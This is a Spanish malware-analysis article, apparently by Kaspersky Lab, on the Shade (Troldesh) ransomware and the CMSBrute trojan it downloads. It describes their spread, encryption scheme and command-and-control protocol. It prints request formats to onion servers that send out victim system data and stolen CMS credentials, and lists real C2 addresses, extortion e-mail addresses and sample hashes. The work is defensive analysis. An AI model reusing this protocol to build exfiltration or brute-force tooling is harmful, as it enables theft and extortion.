La familia de troyanos extorsionadores que cifran ficheros y les agregan las extensiones “.xtbl” y “.ytbl” apareció entre finales de 2014 y principios de 2015 y muy pronto ocupó una posición estable entre los tres cifradores más propagados en Rusia (junto con Trojan-Ransom.Win32.Cryakl y Trojan-Ransom.BAT.Scatter). Según la clasificación de Kaspersky Lab, esta amenaza recibió el veredicto Trojan-Ransom.Win32.Shade. No sabemos qué nombre le dio el autor a este cifrador. Otras compañías antivirus lo detectan bajo los nombres de Trojan.Encoder.858, Ransom:Win32/Troldesh.
El troyano casi no muestra señales de estar evolucionando. Cambian sólo el formato del nombre del fichero cifrado, las direcciones de los servidores de administración y el juego de llaves RSA.
Existen dos formas de enviar este malware al equipo de la víctima: envíos masivos de spam y exploits kits (en particular, Nuclear EK).
En el primer caso la víctima recibe un mensaje que tiene como adjunto un fichero ejecutable malicioso. La infección del sistema ocurre al abrirse el adjunto. Durante la propagación de Trojan-Ransom.Win32.Shade se usan los siguientes nombres de ficheros:
- doc_dlea podpisi.com (doc_para firmar.com)
- doc_dlea podpisi.rar (doc_para firmar.rar)
- documenti_589965465_documenti.com (documentos_589965465_documentos.com)
- documenti_589965465_documenti.rar (documentos_589965465_documentos.rar)
- documenti_589965465_doc.scr (documentos_589965465_doc.scr)
- doc_dlea podpisi.rar (doc_para firmar.rar)
- не подтвержден 308853.scr (no confirmado 308853.scr)
- documenti dlea podpisi 05.08.2015.scr.exe (documentos para firmar 05.08.2015.scr.exe)
- akt sverki za 17082015.scr (acta de comprobación del 17082015.scr)
Cabe destacar que el nombre del fichero cambia en cada envío y las posibles variantes no se limitan a la lista de arriba.
El segundo modo de propagación (los exploits kits) es más peligroso, en vista de que la infección ocurre sin que el usuario se dé cuenta, cuando visita un sitio web infectado. Puede tratarse del sitio web de los delincuentes o de un recurso completamente legal, pero capturado por los hackers. Lo más frecuente es que el usuario no sepa que el sitio representa peligro. Un código malicioso en el sitio explota una vulnerabilidad en el navegador o sus plugins, y de forma disimulada instala el troyano en el sistema. En este caso, a diferencia del mensaje spam, no es necesario que la víctima lance el fichero ejecutable.
Después de que Trojan-Ransom.Win32.Shade ingresa en el sistema, se conecta a su servidor de administración que se encuentra en la red Tor, informa que ha infectado un sistema y solicita una llave RSA-3072 abierta, que después usará para cifrar los ficheros (más adelante veremos cómo lo hace). Si por alguna razón no logra conectarse, el malware escoge una de las 100 llaves que contiene en su cuerpo, y que fueron puestas precisamente para usarlas en estos casos.
Y empieza a cifrar los ficheros. Cuando está buscando objetos para cifrar, usa la lista estática de extensiones de la siguiente captura de pantalla:
Una vez terminado el cifrado, pone en el escritorio la siguiente imagen intimidatoria:
El malware exige por escrito su recompensa en los ficheros README1.txt,…, README10.txt. Su contenido siempre luce igual:
Pero, a diferencia de la mayoría de los demás cifradores, esto no es todo lo que hace Trojan-Ransom.Win32.Shade. Y es que no concluye su proceso, sino que inicia un ciclo infinito en el cual pide al servidor de administración la lista de direcciones de malware adicional, para después instalarlo en el sistema. Esta función es característica de los bots descargadores. Hemos constatado que se descargan representantes de las familias:
- Trojan.Win32.CMSBrute (sobre el cual escribiremos más abajo).
- Trojan.Win32.Muref
- Trojan.Win32.Kovter
- Trojan-Downloader.Win32.Zemot
Este es el código del ciclo de descarga y espera:
Por esta razón es muy importante realizar un análisis antivirus completo del equipo si se ha detectado el cifrador Shade (o los resultados de su funcionamiento, ficheros con extensiones .xtbl y .ytbl). Si no se realiza la curación, es alta la probabilidad de que el sistema quede infectado por varios y diferentes programas maliciosos descargados por este cifrador.
Rasgos comunes de los troyanos de la familia Shade
- Están escritos en C++ usando STL y clases propias.
- Está vinculado de forma estática con un cliente de la red Tor.
- Usa las bibliotecas boost (threads), curl, OpenSSL.
- En cada ejemplar está incluida la dirección de un servidor de administración y en las diferentes muestras encontramos las direcciones de 10 servidores de administración, 8 de los cuales están activos en este momento. Todos los servidores se encuentran en la red Tor.
- Todas las cadenas (junto con los nombres de las funciones importadas) están cifradas mediante el algoritmo AES y se las descifra al iniciarse el programa, después de lo cual se realiza el relleno dinámico de las tablas de importación.
- Antes de instalar sus fondos de pantalla, guarda los fondos de pantalla anteriores en el registro.
- Por lo general vienen empaquetados mediante UPX y un empaquetador adicional. Una vez desempaquetado tiene un tamaño de 1817 KB.
- En el equipo infectado crea 10 ficheros idénticos README1.txt,… README1.txt, donde hay un texto en ruso e inglés exigiendo el rescate.
- Para cifrar el contenido y el nombre de cada fichero genera una llave AES única de 256 bits. El cifrado se realiza en el modo CBC con un vector inicial igual a cero.
- Contiene 100 llaves RSA-3072 públicas con un exponente abierto 65537 (en total se han detectado 300 diferentes llaves públicas en los diferentes ejemplares).
- Cuenta con funciones de descarga y ejecución de malware.
Esquema criptográfico
Generación del ID del equipo infectado
- El troyano recibe el nombre del equipo (comp_name) mediante la función API GetComputerName y la cantidad de procesadores (num_cpu) mediante la función API GetSystemInfo;
- basándose en el número de serie del tomo del sistema calcula una constante de 32 bits y la convierte en una cadena hex (vol_const);
- recibe datos sobre la versión del sistema operativo (os_version) separados con el símbolo “;” (por ejemplo, “5;1;2600;1;Service Pack 3”);
- compone la cadena comp_namenum_cpuvol_constos_version;
- calcula el MD5 de esta cadena;
- convierte el hash MD5 en una cadena hex y toma sus primeros 20 símbolos. Y los usa como el ID del equipo.
Obtención de datos clave
Después de generar el ID, intenta conectarse con su servidor de administración que se encuentra en la red Tor, enviarle el ID del equipo y recibir como respuesta la llave RSA pública. Si no logra hacerlo, escoge una de las 100 llaves RSA públicas contenidas en el troyano.
Cifrado de los archivos
Para cifrar los ficheros usa el algoritmo AES-256 en modo CBC. Para cada fichero cifrado se generan dos llaves aleatorias AES de 256 bits: una se usa para cifrar el contenido del fichero y la otra para cifrar el nombre del fichero. Los datos de la llave los coloca en la estructura de servicio key_data, que se cifra a sí misma con la llave RSA elegida (ocupa 384 bits después del cifrado) y se pone al final del fichero cifrado:
En la sintaxis del lenguaje de programación C esta estructura se puede escribir de la siguiente manera:
El troyano trata de cambiar el nombre del fichero cifrado escogiendo como nuevo nombre el resultado del cálculo Base64(AES_encrypt(nombre original del fichero)).xtbl (por ejemplo, ArSxrr+acw970LFQw.xtbl), y si no logra hacerlo, aumenta al nombre original del fichero la extensión .ytbl. En las versiones más nuevas, antes de la extensión .xtbl escribe el ID del equipo infectado, por ejemplo: ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.
Comunicación con el servidor de administración
El cuerpo del troyano contiene la dirección de un servidor de administración. Los servidores se encuentran en la red Tor, y la comunicación con ellos se lleva a cabo mediante un cliente de Tor vinculado estáticamente al troyano.
El ejemplar envía las siguientes solicitudes al servidor de administración:
-
Solicita una nueva llave RSA pública:
GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
ID es el identificador del equipo infectado;
build es el identificador del ejemplar en concreto;
version es la versión del malware, de las versiones 1 y 2 detectadas;
stage designa la etapa de cifrado: la solicitud de una nueva llave RSA o la notificación de que se ha concluido el cifrado de los ficheros. -
Mensaje de error:
GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
error es un mensaje cifrado con base 64 sobre un error ocurrido durante el cifrado. -
Información sobre el estado del funcionamiento del cifrador:
GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
count es la cantidad corriente de ficheros cifrados;
finish es el indicador de que el cifrado ha finalizado. -
Información sobre el sistema:
POST http://<server>.onion/sys.php?i=ID&b=build&v=version&ss=stage&c=count&k=key_number&si=info
key_number es el número de la llave RSA escogida (si es que no se logró recibir una llave del servidor y se escogió ésta de entre las llaves contenidas en el cuerpo del malware);
info es la información recibida del equipo infectado:- El nombre del equipo
- El nombre del usuario
- La dirección IP
- El dominio del equipo
- La lista de discos lógicos
- La versión del SO Windows
- La lista de software instalado
-
Solicitud de la lista de direcciones URL desde donde se descargará software malicioso adicional:
GET http://<server>.onion/cmd.php?i=ID&b=build&v=version
Propagación del cifrador
Programa de afiliados
El código que los delincuentes les proponen enviar a los usuarios por correo electrónico puede ser ID|0 si el malware logró recibir la clave desde el servidor de administración o ID|key_number|build|version si lo eligió de una de las llaves RSA públicas internas con el número key_number. ID es el identificador del equipo infectado y las dos cifras build y version representan el ID del ejemplar en concreto y la versión del cifrador respectivamente.
Durante el análisis de las muestras del malware, descubrimos diferentes combinaciones del valor build, las direcciones de correo electrónico de los delincuentes y las direcciones de los servidores de administración. Los diferentes valores de build corresponden a diferentes direcciones de correo electrónico, pero un servidor de administración puede servir a varios ejemplares:
build | Servidor de administración | Correo electrónico |
2 | a4yhexpmth2ldj3v.onion | files1147@gmail.com post100023@gmail.com |
2 | a4yhexpmth2ldj3v.onion | decode0987@gmail.com decode098@gmail.com |
4 | a4yhexpmth2ldj3v.onion | decodefile001@gmail.com decodefile002@gmail.com |
6 | a4yhexpmth2ldj3v.onion | files08880@gmail.com files08881@gmail.com |
2 | e4aibjtrguqlyaow.onion | decodefiles1@gmail.com decodefiles@india.com |
15 | e4aibjtrguqlyaow.onion | post8881@gmail.com post24932@gmail.com |
12 | gxyvmhc55s4fss2q.onion | decode00001@gmail.com decode00002@gmail.com |
14 | gxyvmhc55s4fss2q.onion | decode010@gmail.com decode1110@gmail.com |
4 | gxyvmhc55s4fss2q.onion | deshifrovka01@gmail.com deshifrovka@india.com |
Hemos registrado que se propagan diferentes ejemplares de ambas versiones del cifrador. Y a cada ejemplar concreto de la misma versión del malware le correspondía una combinación única build-email (ID del ejemplar concreto y dirección de los delincuentes).
A pesar de que no encontramos ningún anuncio sobre redes de afiliados, estos datos nos permiten suponer que la propagación del troyano y el cobro del rescate se realizan a través de una red de afiliados. Es probable que los ID de los ejemplares (el valor build) y las diferentes direcciones de correo correspondan a diferentes afiliados propagadores de este malware.
Geografía
Los casos de infección provocados por este troyano están más difundidos en Rusia, Ucrania y Alemania. Según los datos de KSN, la geografía de la distribución de Trojan-Ransom.Win32.Shade es la siguiente:
Rusia | 70,88% |
Alemania | 8,42% |
Ucrania | 6,48% |
Austria | 3,91% |
Suiza | 2,98% |
Polonia | 1,45% |
Kazajistán | 1,20% |
Bielorrusia | 1,07% |
Brasil | 0,55% |
Malware descargado: un troyano que usa fuerza bruta para adivinar las contraseñas de los sitios web
Entre los programas maliciosos que descarga Trojan-Ransom.Win32.Shade está un troyano que lanza ataques de fuerza bruta para adivinar las contraseñas de sitios web. La organización interna del troyano de fuerza bruta recuerda mucho al cifrador y lo más probable es que sea un proyecto de los mismo autores. El malware descargado se detecta como Trojan.Win32.CMSBrute.
Rasgos comunes de la familia CMSBrute
- Está escrito en C++ usando STL y clases propias.
- Está vinculado estáticamente con un cliente de la red Tor.
- Usa las bibliotecas boost (threads), curl, OpenSSL.
- Cada ejemplar contiene la dirección de un servidor de administración y en diferentes ejemplares encontramos las direcciones de tres servidores de administración. Todos los servidores de administración se encuentran en la red Tor, pero son diferentes de los encontrados en los ejemplares de Trojan-Ransom.Win32.Shade.
- Todas las cadenas (junto con los nombres de las funciones importadas) están cifradas mediante el algoritmo AES y se descifran durante el inicio del programa, después de lo cual se realiza el relleno dinámico de las tablas de importación.
- Por lo general está empaquetado con UPX y una vez desempaquetado su tamaño es de 2080-2083 KB.
- Se copia a uno de los directorios del disco C con el nombre de csrss.exe.
- Descarga plugins dll adicionales. Los plugins contienen el código que determina el sistema de gestión de contenido (CMS) instalado en el sitio web atacado, busca el panel de administración y elección de contraseña.
Se han detectado plugins para sitios que usan Joomla, WordPress y DataLife Engine.
Comunicación con el servidor de administración
Cada ejemplar de Trojan.Win32.CMSBrute contiene la dirección de un servidor de administración. Los servidores se encuentran en la red Tor, y la comunicación con ellos se lleva a cabo mediante un cliente de Tor vinculado estáticamente al troyano.
El ejemplar envía las siguientes consultas al servidor de administración:
-
Dar de alta un nuevo bot:
GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
ID es el identificador del equipo infectado. Se calcula usando un algoritmo que se diferencia muy poco del usado en el cifrador Shade;
build es el identificador del ejemplar concreto del malware. Sólo detectamos el build 1;
version es la versión del malware. Detectamos sólo la versión 1;
stage es la etapa de funcionamiento del troyano. -
Solicitud de direcciones URL para descargar o actualizar los plugins dll:
GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins -
Solicitud para determinar el CMS del sitio web y probar logins y contraseñas:
GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
plugins son las versiones de los plugins dll instalados.
La respuesta del servidor llega en formato json y contiene las direcciones de los sitios web que se atacarán y un diccionario para probar contraseñas. -
Envío de informe sobre el ataque de fuerza bruta:
POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
report es una cadena json que contiene la respuesta sobre los CMS encontrados en el sitio web y los logins y contraseñas obtenidos en el panel de administración.
Recomendaciones
En el caso de Trojan-Ransom.Win32.Shade, damos los mismos consejos que ya son tradicionales para enfrentarse a los cifradores. En las siguientes direcciones hay instrucciones detalladas:
http://support.kaspersky.com/sp/12015
http://support.kaspersky.com/viruses/common/10952
Si el equipo ya ha caído víctima de este troyano es de extrema importancia hacer un análisis completo y realizar la cura con un producto antivirus, ya que Trojan-Ransom. Win32. Shade descarga e instala en el sistema infectado malware de las varias otras familias mencionadas a principios de este artículo.
Aplicación
Durante la elaboración de este artículo se investigaron los siguientes ejemplares:
Veredicto | MD5 |
Trojan-Ransom.Win32.Shade.ub | 21723762c841b2377e06472dd9691da2 |
Trojan-Ransom.Win32.Shade.ui | bb159b6fe30e3c914feac5d4e1b85a61 |
Trojan.Win32.CMSBrute.a | 543d1620ce976cb13fec190ccc1bc83a |
El malware cifrador Shade: una amenaza doble